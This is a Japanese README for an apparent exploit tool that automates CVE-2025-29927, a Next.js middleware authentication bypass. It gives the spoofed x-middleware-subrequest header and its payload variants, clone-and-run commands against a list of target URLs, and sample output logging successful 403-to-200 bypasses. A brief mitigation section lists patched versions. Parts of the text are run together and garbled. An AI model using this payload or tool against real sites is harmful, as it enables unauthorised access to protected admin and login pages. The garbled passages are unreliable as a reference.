
CVE-2025-29927: Next.js Middleware Exploit
このツールは、Next.js の脆弱性である CVE-2025-29927 の悪用を実演し自動化します。この脆弱性により、攻撃者は内部ヘッダー x-middleware-subrequest を悪用して ミドルウェアのチェック(認証など)を バイパス できます。
Next.js は内部でヘッダー x-middleware-subrequest を使用して、再帰的なリクエストにおける無限ループを防いでいます。しかし、このヘッダーは特定のバージョンでは外部からの操作に対して保護されておらず、悪意のある攻撃者がこれを偽装できるようになっています。
このヘッダーを手動で設定することで、認証、リダイレクト、ロギング、フィルタリングを実施するミドルウェアのロジックは完全にスキップされます。
x-middleware-subrequest 用の複数のペイロードを反復処理します403 から 200 に変わる15.2.314.2.2513.5.9standalone の next start)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
ターゲットがミドルウェア経由で認証をチェックしていても、これは完全にバイパスします。
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
urls.txt というファイルを作成し、1行に1つのURLを記述します:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
各URLに対して、エクスプロイトヘッダーありとなしのリクエストを送信します
複数のペイロードバリエーションを使用します:
middlewarepages/_middlewaresrc/middlewareログを記録します:
middleware_exploited.txt: 実際のバイパス(403 → 200)の場合middleware_response_diff.txt: レスポンス内容が異なる場合直ちに Next.js を安全なバージョンにアップグレードしてください:
15.2.3+14.2.25+13.5.9+さらに:
getServerSideProps、JWT、セッション経由)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt